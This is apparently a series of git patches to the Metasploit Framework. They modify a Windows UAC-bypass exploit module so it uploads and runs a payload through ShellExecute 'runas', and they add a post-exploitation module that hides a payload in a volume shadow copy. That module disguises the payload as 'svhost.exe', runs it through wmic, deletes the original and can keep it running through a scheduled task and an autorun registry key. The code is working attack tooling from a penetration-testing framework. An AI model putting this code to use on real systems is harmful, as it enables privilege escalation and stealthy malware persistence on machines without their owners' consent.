From 75d2abc8c21765b46524f6b507b060b21163de7a Mon Sep 17 00:00:00 2001 From: Rob Fuller Date: Mon, 7 Oct 2013 15:14:54 -0400 Subject: [PATCH 01/34] integrate some ask functionality into bypassuac --- modules/exploits/windows/local/bypassuac.rb | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb index d72685fafc..5805adc88c 100644 --- a/modules/exploits/windows/local/bypassuac.rb +++ b/modules/exploits/windows/local/bypassuac.rb @@ -40,6 +40,14 @@ class Metasploit3 < Msf::Exploit::Local end + def runas_method + payload = generate_payload_exe + payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + tmpdir = session.fs.file.expand_path("%TEMP%") + session.fs.file.upload_file("#{tmpdir}\\#{payload_filename}", payload) + session.railgun.shell32.ShellExecuteA(nil,"runas",cmd_location,nil,nil,5) + end + def exploit isadmin = session.railgun.shell32.IsUserAnAdmin() @@ -81,7 +89,9 @@ class Metasploit3 < Msf::Exploit::Local print_good "UAC is set to Default" print_good "BypassUAC can bypass this setting, continuing..." when 0 - print_warning "Could not determine UAC level - attempting anyways..." + print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead" + runas_method + return end # Check if you are an admin @@ -132,7 +142,7 @@ class Metasploit3 < Msf::Exploit::Local end tmpdir = session.fs.file.expand_path("%TEMP%") - cmd = "#{tmpdir}\\#{bypass_uac_filename} /c %TEMP%\\#{payload_filename}" + cmd = "#{tmpdir}\\#{bypass_uac_filename} /c #{tmpdir}\\#{payload_filename}" print_status("Uploading the bypass UAC executable to the filesystem...") @@ -140,7 +150,7 @@ class Metasploit3 < Msf::Exploit::Local # # Upload UAC bypass to the filesystem # - session.fs.file.upload_file("%TEMP%\\#{bypass_uac_filename}", bpexe) + session.fs.file.upload_file("#{tmpdir}\\#{bypass_uac_filename}", bpexe) print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..") # # Upload the payload to the filesystem From aed2490536d79e27dbd8c3fa4f4963ac5ea8cac2 Mon Sep 17 00:00:00 2001 From: Rob Fuller Date: Mon, 7 Oct 2013 15:42:41 -0400 Subject: [PATCH 02/34] add some output and fixing --- modules/exploits/windows/local/bypassuac.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb index 5805adc88c..8e1bc7a751 100644 --- a/modules/exploits/windows/local/bypassuac.rb +++ b/modules/exploits/windows/local/bypassuac.rb @@ -44,8 +44,13 @@ class Metasploit3 < Msf::Exploit::Local payload = generate_payload_exe payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" tmpdir = session.fs.file.expand_path("%TEMP%") - session.fs.file.upload_file("#{tmpdir}\\#{payload_filename}", payload) - session.railgun.shell32.ShellExecuteA(nil,"runas",cmd_location,nil,nil,5) + tempexe = tmpdir + "\\" + payload_filename + fd = session.fs.file.new(tempexe, "wb") + fd.write(payload) + fd.close + print_status("Uploading payload: #{tmpdir}\\#{payload_filename}") + session.railgun.shell32.ShellExecuteA(nil,"runas","#{tmpdir}\\#{payload_filename}",nil,nil,5) + print_status("Payload executed") end def exploit From 2ee1b1c1c2266eeb074e8b0914c117a4ecc11c44 Mon Sep 17 00:00:00 2001 From: MrXors Date: Thu, 10 Oct 2013 17:20:09 -0700 Subject: [PATCH 03/34] VSS Persistence on Windows 7 --- .../post/windows/manage/vss_persistence.rb | 185 ++++++++++++++++++ 1 file changed, 185 insertions(+) create mode 100644 modules/post/windows/manage/vss_persistence.rb diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb new file mode 100644 index 0000000000..4be959d230 --- /dev/null +++ b/modules/post/windows/manage/vss_persistence.rb @@ -0,0 +1,185 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/windows/shadowcopy' +require 'msf/core/post/windows/priv' +require 'msf/core/post/common' + +class Metasploit4 < Msf::Post + + include Msf::Post::File + include Msf::Post::Common + include Msf::Post::Windows::Priv + include Msf::Post::Windows::ShadowCopy + include Msf::Post::Windows::Services + include Msf::Post::Windows::Registry + + def initialize(info={}) + + super(update_info(info, + 'Name' => "Windows Manage Create Persistant Payload in Shadow Copy", + 'Description' => %q{ + This module will attempt to create a persistant payload + in new volume shadow copy.This is based on the VSSOwn + Script originally posted by Tim Tomes and Mark Baggett. + Works on win2k3 and later. + }, + 'License' => MSF_LICENSE, + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Author' => ['MrXors'], + 'References' => [[ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ]] + )) + register_options( + [ + OptString.new('VOLUME', [ true, 'Volume to make a copy of.', 'C:\\']), + OptString.new('SCHTASK', [ false, 'Create a schtask.exe for EXE.', ]), + OptString.new('RUNKEY', [ false, 'Create AutoRun Key on HKLM\Software\Microsoft\Windows\CurrentVersion\Run .', ]), + OptInt.new('DELAY', [ false, 'Delay in Minutes for Reconnect attempt.Needs SCHTASK set to true to work.default delay is 1 minute.', 1]), + OptString.new('PATH', [ true, 'Path to exe on your local system.']) + ], self.class) + end + + def upload(session,file,trgloc = "") + #--------------------------------------------------------------------------- + #Upload Func + @clean_up = "" + if not ::File.exists?(file) + raise "File to Upload does not exists!" + else + if trgloc == "" + location = session.fs.file.expand_path("%TEMP%") + else + location = trgloc + end + begin + ext = file[file.rindex(".") .. -1] + if ext and ext.downcase == ".exe" + file_name = "svhost#{rand(100)}.exe" + fileontrgt = "#{location}\\#{file_name}" + else + fileontrgt = "#{location}\\TMP#{rand(100)}#{ext}" + end + print_status("Uploading #{file}....") + session.fs.file.upload_file("#{fileontrgt}","#{file}") + print_status("#{file} uploaded!") + print_status("Uploaded as #{fileontrgt}") + rescue ::Exception => e + print_status("Error uploading file #{file}: #{e.class} #{e}") + raise e + end + end + #------------------------------------------------------------------------ + #Create Volume Shadoy Copy + unless is_admin? + print_error("This module requires admin privs to run") + return + end + if is_uac_enabled? + print_error("This module requires UAC to be bypassed first") + return + end + unless start_vss + return + end + id = create_shadowcopy(datastore['VOLUME']) + if id + print_good "Shadow Copy #{id} created!" + end + #------------------------------------------------------------------------------------ + #Find Last Volume Shadow Copy + cmd = "cmd.exe /c vssadmin List Shadows\| find \"Shadow Copy Volume\"" + r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) + volume_id=[] + volume_data_id=[] + dumb = "" + while(d = r.channel.read) + volume_id="#{d}" + volume_id.each_line do |line| + new_line = /HarddiskVolumeShadowCopy\d{1,3}/.match("#{line}") + if new_line.nil? + dump = "1" + else + volume_data_id = "#{new_line}" + end + end + end + #----------------------------------------------------------------------------- + #Run Malware + run_malware = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\Windows\\Temp\\#{file_name}", nil, {'Hidden' => true}) + #----------------------------------------------------------------------------------------------------------------- + #Close Channel + r.channel.close + r.close + #----------------------------------------------------------------------------- + #Create Schtask with schtasks.exe + sch_name = Rex::Text.rand_text_alpha(rand(8)+8) + if datastore["SCHTASK"].nil? or datastore["SCHTASK"].empty? + print_status("Passing on Service") + else + print_good("Creating Service..........") + service_malware_go = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\schtasks.exe /create /sc minute /mo #{datastore["DELAY"]} /tn \"#{sch_name}\" /tr \\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\Windows\\Temp\\#{file_name}", nil, {'Hidden' => true}) + @clean_up << "execute -H -f cmd.exe -a \"/c schtasks.exe /delete /tn #{sch_name} /f\"\n" + end + #------------------------------------------------------------------------------ + #Delete Malware + print_good("Deleting Malware #{location}\\#{file_name}!") + delete_cmd = session.sys.process.execute("cmd.exe /c del %TEMP%\\#{file_name}", nil, {'Hidden' => true}) + delete_cmd.close + print_good("Clean Up Complete.") + #----------------------------------------------------------------------------------------------------------- + #Create Run Key + if datastore["RUNKEY"].nil? or datastore["RUNKEY"].empty? + print_status("Not Setting Run Key.") + else + def write_to_reg(key,path_to_exe) + nam = Rex::Text.rand_text_alpha(rand(8)+8) + print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") + if(key) + registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,path_to_exe,"REG_SZ") + print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") + @clean_up << "reg deleteval -k #{key}\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run -v #{nam}\n" + else + print_error("Error: failed to open the registry key for writing") + end + end + write_to_reg("HKLM", "\\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\Windows\\Temp\\#{file_name}") + end + #------------------------------------------------------------------------------------------------------- + #Log Function + def log_file(log_path = nil) + #Get hostname + host = session.sys.config.sysinfo["Computer"] + # Create Filename info to be appended to downloaded files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + # Create a directory for the logs + if log_path + logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + else + logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + end + # Create the log directory + ::FileUtils.mkdir_p(logs) + #logfile name + logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" + return logfile + end + clean_rc = log_file() + file_local_write(clean_rc,@clean_up) + print_status("Cleanup Meterpreter RC File: #{clean_rc}") + + return fileontrgt + end + #---------------------------------------------- + #Runner + def run + print_good("Uploading Payload to machine.") + upload(session,"#{datastore['PATH']}","C:\\Windows\\Temp") + end +end From 3c8318e001ad2ebcf372b5acbc5babfe63cfbf16 Mon Sep 17 00:00:00 2001 From: MrXors Date: Fri, 11 Oct 2013 07:10:56 -0700 Subject: [PATCH 04/34] Changed Nothing Really --- modules/post/windows/manage/vss_persistence.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index 4be959d230..41b6198a84 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb @@ -177,7 +177,7 @@ class Metasploit4 < Msf::Post return fileontrgt end #---------------------------------------------- - #Runner + #Run Upload func def run print_good("Uploading Payload to machine.") upload(session,"#{datastore['PATH']}","C:\\Windows\\Temp") From 668d5cc3ae3d7b70c1d0c0043fc16d1374b85462 Mon Sep 17 00:00:00 2001 From: MrXors Date: Fri, 11 Oct 2013 07:57:15 -0700 Subject: [PATCH 05/34] Added the option to choose to run .exe --- modules/post/windows/manage/vss_persistence.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index 41b6198a84..f66067fe7d 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb @@ -33,12 +33,13 @@ class Metasploit4 < Msf::Post 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], - 'Author' => ['MrXors'], + 'Author' => ['MrXors Mr.Xorsgmail.com'], 'References' => [[ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ]] )) register_options( [ OptString.new('VOLUME', [ true, 'Volume to make a copy of.', 'C:\\']), + OptString.new('EXECUTE', [ true, 'Run the .exe on the remote system.', true]), OptString.new('SCHTASK', [ false, 'Create a schtask.exe for EXE.', ]), OptString.new('RUNKEY', [ false, 'Create AutoRun Key on HKLM\Software\Microsoft\Windows\CurrentVersion\Run .', ]), OptInt.new('DELAY', [ false, 'Delay in Minutes for Reconnect attempt.Needs SCHTASK set to true to work.default delay is 1 minute.', 1]), @@ -112,7 +113,11 @@ class Metasploit4 < Msf::Post end #----------------------------------------------------------------------------- #Run Malware - run_malware = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\Windows\\Temp\\#{file_name}", nil, {'Hidden' => true}) + if datastore["EXECUTE"].nil? or datastore["EXECUTE"].empty? + print_status("Not Running .EXE") + else + run_malware = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\Windows\\Temp\\#{file_name}", nil, {'Hidden' => true}) + end #----------------------------------------------------------------------------------------------------------------- #Close Channel r.channel.close From 66b82abb5de3e6615ce2b331a1a1b14803dec02e Mon Sep 17 00:00:00 2001 From: MrXors Date: Fri, 11 Oct 2013 08:05:18 -0700 Subject: [PATCH 06/34] Cleaned up running exe func to not run when false is selected --- modules/post/windows/manage/vss_persistence.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index f66067fe7d..03a0af5c1e 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb @@ -116,7 +116,12 @@ class Metasploit4 < Msf::Post if datastore["EXECUTE"].nil? or datastore["EXECUTE"].empty? print_status("Not Running .EXE") else - run_malware = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\Windows\\Temp\\#{file_name}", nil, {'Hidden' => true}) + if datastore["EXECUTE"] == "false" + print_status("Not Running .EXE") + else + print_good("Running uploaded Executable.") + run_malware = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\Windows\\Temp\\#{file_name}", nil, {'Hidden' => true}) + end end #----------------------------------------------------------------------------------------------------------------- #Close Channel From 36af43a3cbe4c9fa7370c9faff5683e55f924b4f Mon Sep 17 00:00:00 2001 From: MrXors Date: Fri, 11 Oct 2013 14:17:50 -0700 Subject: [PATCH 07/34] Added Changes and cleaned up code --- .../post/windows/manage/vss_persistence.rb | 135 +++++++----------- 1 file changed, 49 insertions(+), 86 deletions(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index 03a0af5c1e..74a0fa4217 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb @@ -23,7 +23,7 @@ class Metasploit4 < Msf::Post def initialize(info={}) super(update_info(info, - 'Name' => "Windows Manage Create Persistant Payload in Shadow Copy", + 'Name' => "Persistant Payload in Windows Volume Shadow Copy", 'Description' => %q{ This module will attempt to create a persistant payload in new volume shadow copy.This is based on the VSSOwn @@ -34,50 +34,47 @@ class Metasploit4 < Msf::Post 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Author' => ['MrXors Mr.Xorsgmail.com'], - 'References' => [[ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ]] + 'References' => [ + [ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ], + [ 'URL', 'http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-baggett-lurking-in-the-shadows']] )) register_options( [ OptString.new('VOLUME', [ true, 'Volume to make a copy of.', 'C:\\']), - OptString.new('EXECUTE', [ true, 'Run the .exe on the remote system.', true]), - OptString.new('SCHTASK', [ false, 'Create a schtask.exe for EXE.', ]), - OptString.new('RUNKEY', [ false, 'Create AutoRun Key on HKLM\Software\Microsoft\Windows\CurrentVersion\Run .', ]), + OptBool.new('EXECUTE', [ true, 'Run the .exe on the remote system.', true]), + OptBool.new('SCHTASK', [ false, 'Create a schtask.exe for EXE.', false]), + OptBool.new('RUNKEY', [ false, 'Create AutoRun Key on HKLM\Software\Microsoft\Windows\CurrentVersion\Run .', false]), OptInt.new('DELAY', [ false, 'Delay in Minutes for Reconnect attempt.Needs SCHTASK set to true to work.default delay is 1 minute.', 1]), - OptString.new('PATH', [ true, 'Path to exe on your local system.']) + OptString.new('RPATH', [ false, 'Path on remote system to place Executable.Example \\\\Windows\\\\Temp (DO NOT USE C:\\ in your RPATH!)', ]), + OptString.new('PATH', [ true, 'Path to Executable on your local system.']) ], self.class) end def upload(session,file,trgloc = "") - #--------------------------------------------------------------------------- - #Upload Func @clean_up = "" if not ::File.exists?(file) raise "File to Upload does not exists!" else if trgloc == "" - location = session.fs.file.expand_path("%TEMP%") + location = "\\Windows\\Temp" else location = trgloc end + ext = file[file.rindex(".") .. -1] + if ext and ext.downcase == ".exe" + file_name = "svhost#{rand(100)}.exe" + file_on_target = "#{location}\\#{file_name}" + else + file_on_target = "#{location}\\TMP#{rand(100)}#{ext}" + end + print_status("Uploading #{file}....") begin - ext = file[file.rindex(".") .. -1] - if ext and ext.downcase == ".exe" - file_name = "svhost#{rand(100)}.exe" - fileontrgt = "#{location}\\#{file_name}" - else - fileontrgt = "#{location}\\TMP#{rand(100)}#{ext}" - end - print_status("Uploading #{file}....") - session.fs.file.upload_file("#{fileontrgt}","#{file}") - print_status("#{file} uploaded!") - print_status("Uploaded as #{fileontrgt}") - rescue ::Exception => e - print_status("Error uploading file #{file}: #{e.class} #{e}") - raise e + session.fs.file.upload_file("#{file_on_target}","#{file}") + rescue ::Rex::Post::Meterpreter::RequestError => e + fail_with(Failure::NotFound, e.message) end end - #------------------------------------------------------------------------ - #Create Volume Shadoy Copy + unless is_admin? print_error("This module requires admin privs to run") return @@ -93,61 +90,33 @@ class Metasploit4 < Msf::Post if id print_good "Shadow Copy #{id} created!" end - #------------------------------------------------------------------------------------ - #Find Last Volume Shadow Copy + cmd = "cmd.exe /c vssadmin List Shadows\| find \"Shadow Copy Volume\"" - r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) - volume_id=[] - volume_data_id=[] - dumb = "" - while(d = r.channel.read) - volume_id="#{d}" - volume_id.each_line do |line| - new_line = /HarddiskVolumeShadowCopy\d{1,3}/.match("#{line}") - if new_line.nil? - dump = "1" - else - volume_data_id = "#{new_line}" - end - end + volume_data_id = [] + output = cmd_exec(cmd) + output.each_line do |line| + cmd_regex = /HarddiskVolumeShadowCopy\d{1,3}/.match("#{line}") + volume_data_id = "#{cmd_regex}" end - #----------------------------------------------------------------------------- - #Run Malware - if datastore["EXECUTE"].nil? or datastore["EXECUTE"].empty? - print_status("Not Running .EXE") - else - if datastore["EXECUTE"] == "false" - print_status("Not Running .EXE") - else - print_good("Running uploaded Executable.") - run_malware = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\Windows\\Temp\\#{file_name}", nil, {'Hidden' => true}) - end + + if datastore["EXECUTE"] + print_good("Running Executable!") + run_malware = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\#{location}\\#{file_name}", nil, {'Hidden' => true}) end - #----------------------------------------------------------------------------------------------------------------- - #Close Channel - r.channel.close - r.close - #----------------------------------------------------------------------------- - #Create Schtask with schtasks.exe - sch_name = Rex::Text.rand_text_alpha(rand(8)+8) - if datastore["SCHTASK"].nil? or datastore["SCHTASK"].empty? - print_status("Passing on Service") - else + + if datastore["SCHTASK"] + sch_name = Rex::Text.rand_text_alpha(rand(8)+8) print_good("Creating Service..........") - service_malware_go = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\schtasks.exe /create /sc minute /mo #{datastore["DELAY"]} /tn \"#{sch_name}\" /tr \\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\Windows\\Temp\\#{file_name}", nil, {'Hidden' => true}) - @clean_up << "execute -H -f cmd.exe -a \"/c schtasks.exe /delete /tn #{sch_name} /f\"\n" + service_malware_go = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\schtasks.exe /create /sc minute /mo #{datastore["DELAY"]} /tn \"#{sch_name}\" /tr \\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\#{location}\\#{file_name}", nil, {'Hidden' => true}) + @clean_up << "execute -H -f cmd.exe -a \"/c schtasks.exe /delete /tn #{sch_name} /f\"\n" end - #------------------------------------------------------------------------------ - #Delete Malware + print_good("Deleting Malware #{location}\\#{file_name}!") - delete_cmd = session.sys.process.execute("cmd.exe /c del %TEMP%\\#{file_name}", nil, {'Hidden' => true}) + delete_cmd = session.sys.process.execute("cmd.exe /c del #{location}\\#{file_name}", nil, {'Hidden' => true}) delete_cmd.close print_good("Clean Up Complete.") - #----------------------------------------------------------------------------------------------------------- - #Create Run Key - if datastore["RUNKEY"].nil? or datastore["RUNKEY"].empty? - print_status("Not Setting Run Key.") - else + + if datastore["RUNKEY"] def write_to_reg(key,path_to_exe) nam = Rex::Text.rand_text_alpha(rand(8)+8) print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") @@ -159,37 +128,31 @@ class Metasploit4 < Msf::Post print_error("Error: failed to open the registry key for writing") end end - write_to_reg("HKLM", "\\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\Windows\\Temp\\#{file_name}") + write_to_reg("HKLM", "\\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\#{location}\\#{file_name}") end - #------------------------------------------------------------------------------------------------------- - #Log Function + def log_file(log_path = nil) - #Get hostname - host = session.sys.config.sysinfo["Computer"] - # Create Filename info to be appended to downloaded files + host = session.sys.config.sysinfo["Computer"] filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - # Create a directory for the logs if log_path logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) else logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) end - # Create the log directory ::FileUtils.mkdir_p(logs) - #logfile name logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" return logfile end + clean_rc = log_file() file_local_write(clean_rc,@clean_up) print_status("Cleanup Meterpreter RC File: #{clean_rc}") - - return fileontrgt + return file_on_target end - #---------------------------------------------- - #Run Upload func + def run print_good("Uploading Payload to machine.") - upload(session,"#{datastore['PATH']}","C:\\Windows\\Temp") + upload(session,"#{datastore['PATH']}","#{datastore['RPATH']}") end + end From b505234bf60b162f148ef5d0c69af29489d9b01c Mon Sep 17 00:00:00 2001 From: MrXors Date: Mon, 14 Oct 2013 00:12:37 -0700 Subject: [PATCH 08/34] cleand up code and add run function --- .../post/windows/manage/vss_persistence.rb | 179 ++++++++++-------- 1 file changed, 103 insertions(+), 76 deletions(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index 74a0fa4217..58933875a6 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb @@ -25,15 +25,15 @@ class Metasploit4 < Msf::Post super(update_info(info, 'Name' => "Persistant Payload in Windows Volume Shadow Copy", 'Description' => %q{ - This module will attempt to create a persistant payload - in new volume shadow copy.This is based on the VSSOwn + This module will attempt to create a persistant payload + in new volume shadow copy.This is based on the VSSOwn Script originally posted by Tim Tomes and Mark Baggett. Works on win2k3 and later. }, 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], - 'Author' => ['MrXors Mr.Xorsgmail.com'], + 'Author' => ['MrXors '], 'References' => [ [ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ], [ 'URL', 'http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-baggett-lurking-in-the-shadows']] @@ -46,35 +46,12 @@ class Metasploit4 < Msf::Post OptBool.new('RUNKEY', [ false, 'Create AutoRun Key on HKLM\Software\Microsoft\Windows\CurrentVersion\Run .', false]), OptInt.new('DELAY', [ false, 'Delay in Minutes for Reconnect attempt.Needs SCHTASK set to true to work.default delay is 1 minute.', 1]), OptString.new('RPATH', [ false, 'Path on remote system to place Executable.Example \\\\Windows\\\\Temp (DO NOT USE C:\\ in your RPATH!)', ]), - OptString.new('PATH', [ true, 'Path to Executable on your local system.']) + OptPath.new('PATH', [ true, 'Path to Executable on your local system.']) ], self.class) end - - def upload(session,file,trgloc = "") - @clean_up = "" - if not ::File.exists?(file) - raise "File to Upload does not exists!" - else - if trgloc == "" - location = "\\Windows\\Temp" - else - location = trgloc - end - ext = file[file.rindex(".") .. -1] - if ext and ext.downcase == ".exe" - file_name = "svhost#{rand(100)}.exe" - file_on_target = "#{location}\\#{file_name}" - else - file_on_target = "#{location}\\TMP#{rand(100)}#{ext}" - end - print_status("Uploading #{file}....") - begin - session.fs.file.upload_file("#{file_on_target}","#{file}") - rescue ::Rex::Post::Meterpreter::RequestError => e - fail_with(Failure::NotFound, e.message) - end - end + def run + path = "#{datastore['PATH']}" unless is_admin? print_error("This module requires admin privs to run") return @@ -86,73 +63,123 @@ class Metasploit4 < Msf::Post unless start_vss return end - id = create_shadowcopy(datastore['VOLUME']) - if id - print_good "Shadow Copy #{id} created!" - end - + upload(session, path, datastore['RPATH']) + volume_shadow_copy + delete_executable(@location, @file_name) cmd = "cmd.exe /c vssadmin List Shadows\| find \"Shadow Copy Volume\"" - volume_data_id = [] + volume_data_id = [] output = cmd_exec(cmd) output.each_line do |line| - cmd_regex = /HarddiskVolumeShadowCopy\d{1,3}/.match("#{line}") + cmd_regex = /HarddiskVolumeShadowCopy\d{1,9}/.match("#{line}") volume_data_id = "#{cmd_regex}" end - + print_good("#{volume_data_id}") + execute_executable(volume_data_id, @location, @file_name) + schtasks(volume_data_id, @location, @file_name) + regkey(@glogal_location) + log_file + end + + def upload(session, file, trgloc="") + @location = "" + @file_name = "" + @file_on_target = "" + @clean_up = "" + if not ::File.exists?(file) + raise "File to Upload does not exists!" + else + if trgloc == "" + @location = "\\Windows\\Temp" + else + @location = trgloc + end + ext = file[file.rindex(".") .. -1] + if ext and ext.downcase == ".exe" + @file_name = "svhost#{rand(100)}.exe" + @file_on_target = "#{@location}\\#{@file_name}" + end + print_status("Uploading #{file}....") + begin + upload_file("#{@file_on_target}","#{file}") + rescue ::Rex::Post::Meterpreter::RequestError => e + fail_with(Failure::NotFound, e.message) + end + end + end + + def volume_shadow_copy + begin + id = create_shadowcopy(datastore['VOLUME']) + rescue ::Rex::Post::Meterpreter::RequestError => e + fail_with(Failure::NotFound, e.message) + end + if id + print_good("Shadow Volume Copy Created #{id}") + return true + else + return false + end + end + + def delete_executable(location, file_name) + print_good("Deleting Malware #{location}\\#{file_name}!") + delete_test = file_rm("#{location}\\#{file_name}") + print_good("Clean Up Complete.") + end + + def execute_executable(volume_id, exe_path, exe_name) + @glogal_location = "\\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}\\#{exe_name}" if datastore["EXECUTE"] print_good("Running Executable!") - run_malware = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\#{location}\\#{file_name}", nil, {'Hidden' => true}) + run_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}\\#{exe_name}" + run_malware = cmd_exec(run_cmd) + else + return end + end + def schtasks(volume_data_id, location, file_name) if datastore["SCHTASK"] sch_name = Rex::Text.rand_text_alpha(rand(8)+8) print_good("Creating Service..........") - service_malware_go = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\schtasks.exe /create /sc minute /mo #{datastore["DELAY"]} /tn \"#{sch_name}\" /tr \\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\#{location}\\#{file_name}", nil, {'Hidden' => true}) - @clean_up << "execute -H -f cmd.exe -a \"/c schtasks.exe /delete /tn #{sch_name} /f\"\n" + global_root = "\\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\#{location}\\#{file_name}" + sch_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\schtasks.exe /create /sc minute /mo #{datastore["DELAY"]} /tn \"#{sch_name}\" /tr #{global_root}" + service_malware_go = cmd_exec(sch_cmd) + @clean_up << "execute -H -f cmd.exe -a \"/c schtasks.exe /delete /tn #{sch_name} /f\"\n" + else + return end + end - print_good("Deleting Malware #{location}\\#{file_name}!") - delete_cmd = session.sys.process.execute("cmd.exe /c del #{location}\\#{file_name}", nil, {'Hidden' => true}) - delete_cmd.close - print_good("Clean Up Complete.") - + def regkey(path_to_exe) if datastore["RUNKEY"] - def write_to_reg(key,path_to_exe) - nam = Rex::Text.rand_text_alpha(rand(8)+8) - print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") - if(key) - registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,path_to_exe,"REG_SZ") - print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") - @clean_up << "reg deleteval -k #{key}\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run -v #{nam}\n" - else - print_error("Error: failed to open the registry key for writing") - end - end 